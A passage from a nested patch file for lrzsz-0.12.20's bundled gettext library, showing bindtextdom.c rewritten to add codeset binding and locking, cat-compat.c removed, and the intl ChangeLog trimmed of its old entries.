-+ using libintl.a cannot be linked statically. */
-+#if !defined _LIBC
-+# define _nl_default_dirname libintl_nl_default_dirname
-+# define _nl_domain_bindings libintl_nl_domain_bindings
-+#endif
-+
-+/* Some compilers, like SunOS4 cc, don't have offsetof in <stddef.h>. */
-+#ifndef offsetof
-+# define offsetof(type,ident) ((size_t)&(((type*)0)->ident))
- #endif
--#include "gettext.h"
--#include "gettextP.h"
-
- /* @@ end of prolog @@ */
-
- /* Contains the default location of the message catalogs. */
- extern const char _nl_default_dirname[];
-+#ifdef _LIBC
-+extern const char _nl_default_dirname_internal[] attribute_hidden;
-+#else
-+# define INTUSE(name) name
-+#endif
-
- /* List with bindings of specific domains. */
- extern struct binding *_nl_domain_bindings;
-
-+/* Lock variable to protect the global data in the gettext implementation. */
-+__libc_rwlock_define (extern, _nl_state_lock attribute_hidden)
-+
-
- /* Names for the libintl functions are a problem. They must not clash
- with existing names and they should follow ANSI C. But this source
-@@ -61,23 +77,41 @@
- prefix. So we have to make a difference here. */
- #ifdef _LIBC
- # define BINDTEXTDOMAIN __bindtextdomain
--# define strdup(str) __strdup (str)
-+# define BIND_TEXTDOMAIN_CODESET __bind_textdomain_codeset
-+# ifndef strdup
-+# define strdup(str) __strdup (str)
-+# endif
- #else
--# define BINDTEXTDOMAIN bindtextdomain__
-+# define BINDTEXTDOMAIN libintl_bindtextdomain
-+# define BIND_TEXTDOMAIN_CODESET libintl_bind_textdomain_codeset
- #endif
-
--/* Specify that the DOMAINNAME message catalog will be found
-- in DIRNAME rather than in the system locale data base. */
--char *
--BINDTEXTDOMAIN (domainname, dirname)
-- const char *domainname;
-- const char *dirname;
-+/* Specifies the directory name *DIRNAMEP and the output codeset *CODESETP
-+ to be used for the DOMAINNAME message catalog.
-+ If *DIRNAMEP or *CODESETP is NULL, the corresponding attribute is not
-+ modified, only the current value is returned.
-+ If DIRNAMEP or CODESETP is NULL, the corresponding attribute is neither
-+ modified nor returned. */
-+static void
-+set_binding_values (const char *domainname,
-+ const char **dirnamep, const char **codesetp)
- {
- struct binding *binding;
-+ int modified;
-
- /* Some sanity checks. */
- if (domainname == NULL || domainname[0] == '\0')
-- return NULL;
-+ {
-+ if (dirnamep)
-+ *dirnamep = NULL;
-+ if (codesetp)
-+ *codesetp = NULL;
-+ return;
-+ }
-+
-+ __libc_rwlock_wrlock (_nl_state_lock);
-+
-+ modified = 0;
-
- for (binding = _nl_domain_bindings; binding != NULL; binding = binding->next)
- {
-@@ -93,81 +127,173 @@
- }
- }
-
-- if (dirname == NULL)
-- /* The current binding has be to returned. */
-- return binding == NULL ? (char *) _nl_default_dirname : binding->dirname;
--
- if (binding != NULL)
- {
-- /* The domain is already bound. If the new value and the old
-- one are equal we simply do nothing. Otherwise replace the
-- old binding. */
-- if (strcmp (dirname, binding->dirname) != 0)
-+ if (dirnamep)
- {
-- char *new_dirname;
-+ const char *dirname = *dirnamep;
-
-- if (strcmp (dirname, _nl_default_dirname) == 0)
-- new_dirname = (char *) _nl_default_dirname;
-+ if (dirname == NULL)
-+ /* The current binding has be to returned. */
-+ *dirnamep = binding->dirname;
- else
- {
-+ /* The domain is already bound. If the new value and the old
-+ one are equal we simply do nothing. Otherwise replace the
-+ old binding. */
-+ char *result = binding->dirname;
-+ if (strcmp (dirname, result) != 0)
-+ {
-+ if (strcmp (dirname, INTUSE(_nl_default_dirname)) == 0)
-+ result = (char *) INTUSE(_nl_default_dirname);
-+ else
-+ {
- #if defined _LIBC || defined HAVE_STRDUP
-- new_dirname = strdup (dirname);
-- if (new_dirname == NULL)
-- return NULL;
-+ result = strdup (dirname);
- #else
-- size_t len = strlen (dirname) + 1;
-- new_dirname = (char *) malloc (len);
-- if (new_dirname == NULL)
-- return NULL;
--
-- memcpy (new_dirname, dirname, len);
-+ size_t len = strlen (dirname) + 1;
-+ result = (char *) malloc (len);
-+ if (__builtin_expect (result != NULL, 1))
-+ memcpy (result, dirname, len);
- #endif
-+ }
-+
-+ if (__builtin_expect (result != NULL, 1))
-+ {
-+ if (binding->dirname != INTUSE(_nl_default_dirname))
-+ free (binding->dirname);
-+
-+ binding->dirname = result;
-+ modified = 1;
-+ }
-+ }
-+ *dirnamep = result;
- }
-+ }
-
-- if (binding->dirname != _nl_default_dirname)
-- free (binding->dirname);
-+ if (codesetp)
-+ {
-+ const char *codeset = *codesetp;
-
-- binding->dirname = new_dirname;
-+ if (codeset == NULL)
-+ /* The current binding has be to returned. */
-+ *codesetp = binding->codeset;
-+ else
-+ {
-+ /* The domain is already bound. If the new value and the old
-+ one are equal we simply do nothing. Otherwise replace the
-+ old binding. */
-+ char *result = binding->codeset;
-+ if (result == NULL || strcmp (codeset, result) != 0)
-+ {
-+#if defined _LIBC || defined HAVE_STRDUP
-+ result = strdup (codeset);
-+#else
-+ size_t len = strlen (codeset) + 1;
-+ result = (char *) malloc (len);
-+ if (__builtin_expect (result != NULL, 1))
-+ memcpy (result, codeset, len);
-+#endif
-+
-+ if (__builtin_expect (result != NULL, 1))
-+ {
-+ if (binding->codeset != NULL)
-+ free (binding->codeset);
-+
-+ binding->codeset = result;
-+ binding->codeset_cntr++;
-+ modified = 1;
-+ }
-+ }
-+ *codesetp = result;
-+ }
- }
- }
-+ else if ((dirnamep == NULL || *dirnamep == NULL)
-+ && (codesetp == NULL || *codesetp == NULL))
-+ {
-+ /* Simply return the default values. */
-+ if (dirnamep)
-+ *dirnamep = INTUSE(_nl_default_dirname);
-+ if (codesetp)
-+ *codesetp = NULL;
-+ }
- else
- {
- /* We have to create a new binding. */
-- size_t len;
-+ size_t len = strlen (domainname) + 1;
- struct binding *new_binding =
-- (struct binding *) malloc (sizeof (*new_binding));
-+ (struct binding *) malloc (offsetof (struct binding, domainname) + len);
-
-- if (new_binding == NULL)
-- return NULL;
-+ if (__builtin_expect (new_binding == NULL, 0))
-+ goto failed;
-
-+ memcpy (new_binding->domainname, domainname, len);
-+
-+ if (dirnamep)
-+ {
-+ const char *dirname = *dirnamep;
-+
-+ if (dirname == NULL)
-+ /* The default value. */
-+ dirname = INTUSE(_nl_default_dirname);
-+ else
-+ {
-+ if (strcmp (dirname, INTUSE(_nl_default_dirname)) == 0)
-+ dirname = INTUSE(_nl_default_dirname);
-+ else
-+ {
-+ char *result;
- #if defined _LIBC || defined HAVE_STRDUP
-- new_binding->domainname = strdup (domainname);
-- if (new_binding->domainname == NULL)
-- return NULL;
-+ result = strdup (dirname);
-+ if (__builtin_expect (result == NULL, 0))
-+ goto failed_dirname;
- #else
-- len = strlen (domainname) + 1;
-- new_binding->domainname = (char *) malloc (len);
-- if (new_binding->domainname == NULL)
-- return NULL;
-- memcpy (new_binding->domainname, domainname, len);
-+ size_t len = strlen (dirname) + 1;
-+ result = (char *) malloc (len);
-+ if (__builtin_expect (result == NULL, 0))
-+ goto failed_dirname;
-+ memcpy (result, dirname, len);
- #endif
--
-- if (strcmp (dirname, _nl_default_dirname) == 0)
-- new_binding->dirname = (char *) _nl_default_dirname;
-+ dirname = result;
-+ }
-+ }
-+ *dirnamep = dirname;
-+ new_binding->dirname = (char *) dirname;
-+ }
- else
-+ /* The default value. */
-+ new_binding->dirname = (char *) INTUSE(_nl_default_dirname);
-+
-+ new_binding->codeset_cntr = 0;
-+
-+ if (codesetp)
- {
-+ const char *codeset = *codesetp;
-+
-+ if (codeset != NULL)
-+ {
-+ char *result;
-+
- #if defined _LIBC || defined HAVE_STRDUP
-- new_binding->dirname = strdup (dirname);
-- if (new_binding->dirname == NULL)
-- return NULL;
-+ result = strdup (codeset);
-+ if (__builtin_expect (result == NULL, 0))
-+ goto failed_codeset;
- #else
-- len = strlen (dirname) + 1;
-- new_binding->dirname = (char *) malloc (len);
-- if (new_binding->dirname == NULL)
-- return NULL;
-- memcpy (new_binding->dirname, dirname, len);
-+ size_t len = strlen (codeset) + 1;
-+ result = (char *) malloc (len);
-+ if (__builtin_expect (result == NULL, 0))
-+ goto failed_codeset;
-+ memcpy (result, codeset, len);
- #endif
-+ codeset = result;
-+ new_binding->codeset_cntr++;
-+ }
-+ *codesetp = codeset;
-+ new_binding->codeset = (char *) codeset;
- }
-+ else
-+ new_binding->codeset = NULL;
-
- /* Now enqueue it. */
- if (_nl_domain_bindings == NULL
-@@ -187,13 +313,51 @@
- binding->next = new_binding;
- }
-
-- binding = new_binding;
-+ modified = 1;
-+
-+ /* Here we deal with memory allocation failures. */
-+ if (0)
-+ {
-+ failed_codeset:
-+ if (new_binding->dirname != INTUSE(_nl_default_dirname))
-+ free (new_binding->dirname);
-+ failed_dirname:
-+ free (new_binding);
-+ failed:
-+ if (dirnamep)
-+ *dirnamep = NULL;
-+ if (codesetp)
-+ *codesetp = NULL;
-+ }
- }
-
-- return binding->dirname;
-+ /* If we modified any binding, we flush the caches. */
-+ if (modified)
-+ ++_nl_msg_cat_cntr;
-+
-+ __libc_rwlock_unlock (_nl_state_lock);
-+}
-+
-+/* Specify that the DOMAINNAME message catalog will be found
-+ in DIRNAME rather than in the system locale data base. */
-+char *
-+BINDTEXTDOMAIN (const char *domainname, const char *dirname)
-+{
-+ set_binding_values (domainname, &dirname, NULL);
-+ return (char *) dirname;
-+}
-+
-+/* Specify the character encoding in which the messages from the
-+ DOMAINNAME message catalog will be returned. */
-+char *
-+BIND_TEXTDOMAIN_CODESET (const char *domainname, const char *codeset)
-+{
-+ set_binding_values (domainname, NULL, &codeset);
-+ return (char *) codeset;
- }
-
- #ifdef _LIBC
--/* Alias for function name in GNU C Library. */
-+/* Aliases for function names in GNU C Library. */
- weak_alias (__bindtextdomain, bindtextdomain);
-+weak_alias (__bind_textdomain_codeset, bind_textdomain_codeset);
- #endif
---- lrzsz-0.12.20.safe/intl/cat-compat.c 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/cat-compat.c 1969-12-31 19:00:00.000000000 -0500
-@@ -1,262 +0,0 @@
--/* Compatibility code for gettext-using-catgets interface.
-- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-- any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
--
--#ifdef HAVE_CONFIG_H
--# include <config.h>
--#endif
--
--#include <stdio.h>
--
--#ifdef STDC_HEADERS
--# include <stdlib.h>
--# include <string.h>
--#else
--char *getenv ();
--# ifdef HAVE_MALLOC_H
--# include <malloc.h>
--# endif
--#endif
--
--#ifdef HAVE_NL_TYPES_H
--# include <nl_types.h>
--#endif
--
--#include "libgettext.h"
--
--/* @@ end of prolog @@ */
--
--/* XPG3 defines the result of `setlocale (category, NULL)' as:
-- ``Directs `setlocale()' to query `category' and return the current
-- setting of `local'.''
-- However it does not specify the exact format. And even worse: POSIX
-- defines this not at all. So we can use this feature only on selected
-- system (e.g. those using GNU C Library). */
--#ifdef _LIBC
--# define HAVE_LOCALE_NULL
--#endif
--
--/* The catalog descriptor. */
--static nl_catd catalog = (nl_catd) -1;
--
--/* Name of the default catalog. */
--static const char default_catalog_name[] = "messages";
--
--/* Name of currently used catalog. */
--static const char *catalog_name = default_catalog_name;
--
--/* Get ID for given string. If not found return -1. */
--static int msg_to_cat_id PARAMS ((const char *msg));
--
--/* Substitution for systems lacking this function in their C library. */
--#if !_LIBC && !HAVE_STPCPY
--static char *stpcpy PARAMS ((char *dest, const char *src));
--#endif
--
--
--/* Set currently used domain/catalog. */
--char *
--textdomain (domainname)
-- const char *domainname;
--{
-- nl_catd new_catalog;
-- char *new_name;
-- size_t new_name_len;
-- char *lang;
--
--#if defined HAVE_SETLOCALE && defined HAVE_LC_MESSAGES \
-- && defined HAVE_LOCALE_NULL
-- lang = setlocale (LC_MESSAGES, NULL);
--#else
-- lang = getenv ("LC_ALL");
-- if (lang == NULL || lang[0] == '\0')
-- {
-- lang = getenv ("LC_MESSAGES");
-- if (lang == NULL || lang[0] == '\0')
-- lang = getenv ("LANG");
-- }
--#endif
-- if (lang == NULL || lang[0] == '\0')
-- lang = "C";
--
-- /* See whether name of currently used domain is asked. */
-- if (domainname == NULL)
-- return (char *) catalog_name;
--
-- if (domainname[0] == '\0')
-- domainname = default_catalog_name;
--
-- /* Compute length of added path element. */
-- new_name_len = sizeof (LOCALEDIR) - 1 + 1 + strlen (lang)
-- + sizeof ("/LC_MESSAGES/") - 1 + sizeof (PACKAGE) - 1
-- + sizeof (".cat");
--
-- new_name = (char *) malloc (new_name_len);
-- if (new_name == NULL)
-- return NULL;
--
-- strcpy (new_name, PACKAGE);
-- new_catalog = catopen (new_name, 0);
--
-- if (new_catalog == (nl_catd) -1)
-- {
-- /* NLSPATH search didn't work, try absolute path */
-- sprintf (new_name, "%s/%s/LC_MESSAGES/%s.cat", LOCALEDIR, lang,
-- PACKAGE);
-- new_catalog = catopen (new_name, 0);
--
-- if (new_catalog == (nl_catd) -1)
-- {
-- free (new_name);
-- return (char *) catalog_name;
-- }
-- }
--
-- /* Close old catalog. */
-- if (catalog != (nl_catd) -1)
-- catclose (catalog);
-- if (catalog_name != default_catalog_name)
-- free ((char *) catalog_name);
--
-- catalog = new_catalog;
-- catalog_name = new_name;
--
-- return (char *) catalog_name;
--}
--
--char *
--bindtextdomain (domainname, dirname)
-- const char *domainname;
-- const char *dirname;
--{
--#if HAVE_SETENV || HAVE_PUTENV
-- char *old_val, *new_val, *cp;
-- size_t new_val_len;
--
-- /* This does not make much sense here but to be compatible do it. */
-- if (domainname == NULL)
-- return NULL;
--
-- /* Compute length of added path element. If we use setenv we don't need
-- the first byts for NLSPATH=, but why complicate the code for this
-- peanuts. */
-- new_val_len = sizeof ("NLSPATH=") - 1 + strlen (dirname)
-- + sizeof ("/%L/LC_MESSAGES/%N.cat");
--
-- old_val = getenv ("NLSPATH");
-- if (old_val == NULL || old_val[0] == '\0')
-- {
-- old_val = NULL;
-- new_val_len += 1 + sizeof (LOCALEDIR) - 1
-- + sizeof ("/%L/LC_MESSAGES/%N.cat");
-- }
-- else
-- new_val_len += strlen (old_val);
--
-- new_val = (char *) malloc (new_val_len);
-- if (new_val == NULL)
-- return NULL;
--
--# if HAVE_SETENV
-- cp = new_val;
--# else
-- cp = stpcpy (new_val, "NLSPATH=");
--# endif
--
-- cp = stpcpy (cp, dirname);
-- cp = stpcpy (cp, "/%L/LC_MESSAGES/%N.cat:");
--
-- if (old_val == NULL)
-- {
--# if __STDC__
-- stpcpy (cp, LOCALEDIR "/%L/LC_MESSAGES/%N.cat");
--# else
--
-- cp = stpcpy (cp, LOCALEDIR);
-- stpcpy (cp, "/%L/LC_MESSAGES/%N.cat");
--# endif
-- }
-- else
-- stpcpy (cp, old_val);
--
--# if HAVE_SETENV
-- setenv ("NLSPATH", new_val, 1);
-- free (new_val);
--# else
-- putenv (new_val);
-- /* Do *not* free the environment entry we just entered. It is used
-- from now on. */
--# endif
--
--#endif
--
-- return (char *) domainname;
--}
--
--#undef gettext
--char *
--gettext (msg)
-- const char *msg;
--{
-- int msgid;
--
-- if (msg == NULL || catalog == (nl_catd) -1)
-- return (char *) msg;
--
-- /* Get the message from the catalog. We always use set number 1.
-- The message ID is computed by the function `msg_to_cat_id'
-- which works on the table generated by `po-to-tbl'. */
-- msgid = msg_to_cat_id (msg);
-- if (msgid == -1)
-- return (char *) msg;
--
-- return catgets (catalog, 1, msgid, (char *) msg);
--}
--
--/* Look through the table `_msg_tbl' which has `_msg_tbl_length' entries
-- for the one equal to msg. If it is found return the ID. In case when
-- the string is not found return -1. */
--static int
--msg_to_cat_id (msg)
-- const char *msg;
--{
-- int cnt;
--
-- for (cnt = 0; cnt < _msg_tbl_length; ++cnt)
-- if (strcmp (msg, _msg_tbl[cnt]._msg) == 0)
-- return _msg_tbl[cnt]._msg_number;
--
-- return -1;
--}
--
--
--/* @@ begin of epilog @@ */
--
--/* We don't want libintl.a to depend on any other library. So we
-- avoid the non-standard function stpcpy. In GNU C Library this
-- function is available, though. Also allow the symbol HAVE_STPCPY
-- to be defined. */
--#if !_LIBC && !HAVE_STPCPY
--static char *
--stpcpy (dest, src)
-- char *dest;
-- const char *src;
--{
-- while ((*dest++ = *src++) != '\0')
-- /* Do nothing. */ ;
-- return dest - 1;
--}
--#endif
---- lrzsz-0.12.20.safe/intl/ChangeLog 1998-04-26 09:22:35.000000000 -0400
-+++ lrzsz-0.12.20/intl/ChangeLog 2004-09-12 14:40:34.349749000 -0400
-@@ -1,1022 +1,4 @@
--1997-09-06 02:10 Ulrich Drepper <drepper@cygnus.com>
--
-- * intlh.inst.in: Reformat copyright.
--
--1997-08-19 15:22 Ulrich Drepper <drepper@cygnus.com>
--
-- * dcgettext.c (DCGETTEXT): Remove wrong comment.
--
--1997-08-16 00:13 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (install-data): Don't change directory to install.
--
--1997-08-01 14:30 Ulrich Drepper <drepper@cygnus.com>
--
-- * cat-compat.c: Fix copyright.
--
-- * localealias.c: Don't define strchr unless !HAVE_STRCHR.
--
-- * loadmsgcat.c: Update copyright. Fix typos.
--
-- * l10nflist.c: Don't define strchr unless !HAVE_STRCHR.
-- (_nl_make_l10nflist): Handle sponsor and revision correctly.
--
-- * gettext.c: Update copyright.
-- * gettext.h: Likewise.
-- * hash-string.h: Likewise.
--
-- * finddomain.c: Remoave dead code. Define strchr only if
-- !HAVE_STRCHR.
--
-- * explodename.c: Include <sys/types.h>.
--
-- * explodename.c: Reformat copyright text.
-- (_nl_explode_name): Fix typo.
--
-- * dcgettext.c: Define and use __set_errno.
-- (guess_category_value): Don't use setlocale if HAVE_LC_MESSAGES is
-- not defined.
--
-- * bindtextdom.c: Pretty printing.
--
--1997-05-01 02:25 Ulrich Drepper <drepper@cygnus.com>
--
-- * dcgettext.c (guess_category_value): Don't depend on
-- HAVE_LC_MESSAGES. We don't need the macro here.
-- Patch by Bruno Haible <haible@ilog.fr>.
--
-- * cat-compat.c (textdomain): DoN't refer to HAVE_SETLOCALE_NULL
-- macro. Instead use HAVE_LOCALE_NULL and define it when using
-- glibc, as in dcgettext.c.
-- Patch by Bruno Haible <haible@ilog.fr>.
--
-- * Makefile.in (CPPFLAGS): New variable. Reported by Franc,ois
-- Pinard.
--
--Mon Mar 10 06:51:17 1997 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in: Implement handling of libtool.
--
-- * gettextP.h: Change data structures for use of generic lowlevel
-- i18n file handling.
--
--Wed Dec 4 20:21:18 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * textdomain.c: Put parentheses around arguments of memcpy macro
-- definition.
-- * localealias.c: Likewise.
-- * l10nflist.c: Likewise.
-- * finddomain.c: Likewise.
-- * bindtextdom.c: Likewise.
-- Reported by Thomas Esken.
--
--Mon Nov 25 22:57:51 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * textdomain.c: Move definition of `memcpy` macro to right
-- position.
--
--Fri Nov 22 04:01:58 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * finddomain.c [!HAVE_STRING_H && !_LIBC]: Define memcpy using
-- bcopy if not already defined. Reported by Thomas Esken.
-- * bindtextdom.c: Likewise.
-- * l10nflist.c: Likewise.
-- * localealias.c: Likewise.
-- * textdomain.c: Likewise.
--
--Tue Oct 29 11:10:27 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (libdir): Change to use exec_prefix instead of
-- prefix. Reported by Knut-HvardAksnes <etokna@eto.ericsson.se>.
--
--Sat Aug 31 03:07:09 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * l10nflist.c (_nl_normalize_codeset): We convert to lower case,
-- so don't prepend uppercase `ISO' for only numeric arg.
--
--Fri Jul 19 00:15:46 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * l10nflist.c: Move inclusion of argz.h, ctype.h, stdlib.h after
-- definition of _GNU_SOURCE. Patch by Roland McGrath.
--
-- * Makefile.in (uninstall): Fix another bug with `for' loop and
-- empty arguments. Patch by Jim Meyering. Correct name os
-- uninstalled files: no intl- prefix anymore.
--
-- * Makefile.in (install-data): Again work around shells which
-- cannot handle mpty for list. Reported by Jim Meyering.
--
--Sat Jul 13 18:11:35 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (install): Split goal. Now depend on install-exec
-- and install-data.
-- (install-exec, install-data): New goals. Created from former
-- install goal.
-- Reported by Karl Berry.
--
--Sat Jun 22 04:58:14 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (MKINSTALLDIRS): New variable. Path to
-- mkinstalldirs script.
-- (install): use MKINSTALLDIRS variable or if the script is not present
-- try to find it in the $top_scrdir).
--
--Wed Jun 19 02:56:56 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * l10nflist.c: Linux libc *partly* includes the argz_* functions.
-- Grr. Work around by renaming the static version and use macros
-- for renaming.
--
--Tue Jun 18 20:11:17 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * l10nflist.c: Correct presence test macros of __argz_* functions.
--
-- * l10nflist.c: Include <argz.h> based on test of it instead when
-- __argz_* functions are available.
-- Reported by Andreas Schwab.
--
--Thu Jun 13 15:17:44 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * explodename.c, l10nflist.c: Define NULL for dumb systems.
--
--Tue Jun 11 17:05:13 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * intlh.inst.in, libgettext.h (dcgettext): Rename local variable
-- result to __result to prevent name clash.
--
-- * l10nflist.c, localealias.c, dcgettext.c: Define _GNU_SOURCE to
-- get prototype for stpcpy and strcasecmp.
--
-- * intlh.inst.in, libgettext.h: Move declaration of
-- `_nl_msg_cat_cntr' outside __extension__ block to prevent warning
-- from gcc's -Wnested-extern option.
--
--Fri Jun 7 01:58:00 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (install): Remove comment.
--
--Thu Jun 6 17:28:17 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (install): Work around for another Buglix stupidity.
-- Always use an `else' close for `if's. Reported by Nelson Beebe.
--
-- * Makefile.in (intlh.inst): Correct typo in phony rule.
-- Reported by Nelson Beebe.
--
--Thu Jun 6 01:49:52 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * dcgettext.c (read_alias_file): Rename variable alloca_list to
-- block_list as the macro calls assume.
-- Patch by Eric Backus.
--
-- * localealias.c [!HAVE_ALLOCA]: Define alloca as macro using
-- malloc.
-- (read_alias_file): Rename varriabe alloca_list to block_list as the
-- macro calls assume.
-- Patch by Eric Backus.
--
-- * l10nflist.c: Correct conditional for <argz.h> inclusion.
-- Reported by Roland McGrath.
--
-- * Makefile.in (all): Depend on all-@USE_INCLUDED_LIBINTL@, not
-- all-@USE_NLS@.
--
-- * Makefile.in (install): intlh.inst comes from local dir, not
-- $(srcdir).
--
-- * Makefile.in (intlh.inst): Special handling of this goal. If
-- used in gettext, this is really a rul to construct this file. If
-- used in any other package it is defined as a .PHONY rule with
-- empty body.
--
-- * finddomain.c: Extract locale file information handling into
-- l10nfile.c. Rename local stpcpy__ function to stpcpy.
--
-- * dcgettext.c (stpcpy): Add local definition.
--
-- * l10nflist.c: Solve some portability problems. Patches partly by
-- Thomas Esken. Add local definition of stpcpy.
--
--Tue Jun 4 02:47:49 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * intlh.inst.in: Don't depend including <locale.h> on
-- HAVE_LOCALE_H. Instead configure must rewrite this fiile
-- depending on the result of the configure run.
--
-- * Makefile.in (install): libintl.inst is now called intlh.inst.
-- Add rules for updating intlh.inst from intlh.inst.in.
--
-- * libintl.inst: Renamed to intlh.inst.in.
--
-- * localealias.c, dcgettext.c [__GNUC__]: Define HAVE_ALLOCA to 1
-- because gcc has __buitlin_alloca.
-- Reported by Roland McGrath.
--
--Mon Jun 3 00:32:16 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * Makefile.in (installcheck): New goal to fulfill needs of
-- automake's distcheck.
--
-- * Makefile.in (install): Reorder commands so that VERSION is
-- found.
--
-- * Makefile.in (gettextsrcdir): Now use subdirectory intl/ in
-- @datadir@/gettext.
-- (COMSRCS): Add l10nfile.c.
-- (OBJECTS): Add l10nfile.o.
-- (DISTFILES): Rename to DISTFILE.normal. Remove $(DISTFILES.common).
-- (DISTFILE.gettext): Remove $(DISTFILES.common).
-- (all-gettext): Remove goal.
-- (install): If $(PACKAGE) = gettext install, otherwose do nothing. No
-- package but gettext itself should install libintl.h + headers.
-- (dist): Extend goal to work for gettext, too.
-- (dist-gettext): Remove goal.
--
-- * dcgettext.c [!HAVE_ALLOCA]: Define macro alloca by using malloc.
--
--Sun Jun 2 17:33:06 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * loadmsgcat.c (_nl_load_domain): Parameter is now comes from
-- find_l10nfile.
--
--Sat Jun 1 02:23:03 1996 Ulrich Drepper <drepper@cygnus.com>
--
-- * l10nflist.c (__argz_next): Add definition.
--
-- * dcgettext.c [!HAVE_ALLOCA]: Add code for handling missing alloca
-- code. Use new l10nfile handling.
--
-- * localealias.c [!HAVE_ALLOCA]: Add code for handling missing
-- alloca code.
--
-- * l10nflist.c: Initial revision.
--
--Tue Apr 2 18:51:18 1996 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (all-gettext): New goal. Same as all-yes.
--
--Thu Mar 28 23:01:22 1996 Karl Eichwalder <ke@ke.central.de>
--
-- * Makefile.in (gettextsrcdir): Define using @datadir@.
--
--Tue Mar 26 12:39:14 1996 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c: Include <ctype.h>. Reported by Roland McGrath.
--
--Sat Mar 23 02:00:35 1996 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (stpcpy): Rename to stpcpy__ to prevent clashing
-- with external declaration.
--
--Sat Mar 2 00:47:09 1996 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (all-no): Rename from all_no.
--
--Sat Feb 17 00:25:59 1996 Ulrich Drepper <drepper@myware>
--
-- * gettextP.h [loaded_domain]: Array `successor' must now contain up
-- to 63 elements (because of codeset name normalization).
--
-- * finddomain.c: Implement codeset name normalization.
--
--Thu Feb 15 04:39:09 1996 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (all): Define to `all-@USE_NLS@'.
-- (all-yes, all_no): New goals. `all-no' is noop, `all-yes'
-- is former all.
--
--Mon Jan 15 21:46:01 1996 Howard Gayle <howard@hal.com>
--
-- * localealias.c (alias_compare): Increment string pointers in loop
-- of strcasecmp replacement.
--
--Fri Dec 29 21:16:34 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (install-src): Who commented this goal out ? :-)
--
--Fri Dec 29 15:08:16 1995 Ulrich Drepper <drepper@myware>
--
-- * dcgettext.c (DCGETTEXT): Save `errno'. Failing system calls
-- should not effect it because a missing catalog is no error.
-- Reported by Harald K<o:>nig <koenig@tat.physik.uni-tuebingen.de>.
--
--Tue Dec 19 22:09:13 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (Makefile): Explicitly use $(SHELL) for running
-- shell scripts.
--
--Fri Dec 15 17:34:59 1995 Andreas Schwab <schwab@issan.informatik.uni-dortmund.de>
--
-- * Makefile.in (install-src): Only install library and header when
-- we use the own implementation. Don't do it when using the
-- system's gettext or catgets functions.
--
-- * dcgettext.c (find_msg): Must not swap domain->hash_size here.
--
--Sat Dec 9 16:24:37 1995 Ulrich Drepper <drepper@myware>
--
-- * localealias.c, libintl.inst, libgettext.h, hash-string.h,
-- gettextP.h, finddomain.c, dcgettext.c, cat-compat.c:
-- Use PARAMS instead of __P. Suggested by Roland McGrath.
--
--Tue Dec 5 11:39:14 1995 Larry Schwimmer <rosebud@cyclone.stanford.edu>
--
-- * libgettext.h: Use `#if !defined (_LIBINTL_H)' instead of `#if
-- !_LIBINTL_H' because Solaris defines _LIBINTL_H as empty.
--
--Mon Dec 4 15:42:07 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (install-src):
-- Install libintl.inst instead of libintl.h.install.
--
--Sat Dec 2 22:51:38 1995 Marcus Daniels <marcus@sysc.pdx.edu>
--
-- * cat-compat.c (textdomain):
-- Reverse order in which files are tried you load. First
-- try local file, when this failed absolute path.
--
--Wed Nov 29 02:03:53 1995 Nelson H. F. Beebe <beebe@math.utah.edu>
--
-- * cat-compat.c (bindtextdomain): Add missing { }.
--
--Sun Nov 26 18:21:41 1995 Ulrich Drepper <drepper@myware>
--
-- * libintl.inst: Add missing __P definition. Reported by Nelson Beebe.
--
-- * Makefile.in:
-- Add dummy `all' and `dvi' goals. Reported by Tom Tromey.
--
--Sat Nov 25 16:12:01 1995 Franc,ois Pinard <pinard@iro.umontreal.ca>
--
-- * hash-string.h: Capitalize arguments of macros.
--
--Sat Nov 25 12:01:36 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (DISTFILES): Prevent files names longer than 13
-- characters. libintl.h.glibc->libintl.glibc,
-- libintl.h.install->libintl.inst. Reported by Joshua R. Poulson.
--
--Sat Nov 25 11:31:12 1995 Eric Backus <ericb@lsid.hp.com>
--
-- * dcgettext.c: Fix bug in preprocessor conditionals.
--
--Sat Nov 25 02:35:27 1995 Nelson H. F. Beebe <beebe@math.utah.edu>
--
-- * libgettext.h: Solaris cc does not understand
-- #if !SYMBOL1 && !SYMBOL2. Sad but true.
--
--Thu Nov 23 16:22:14 1995 Ulrich Drepper <drepper@myware>
--
-- * hash-string.h (hash_string):
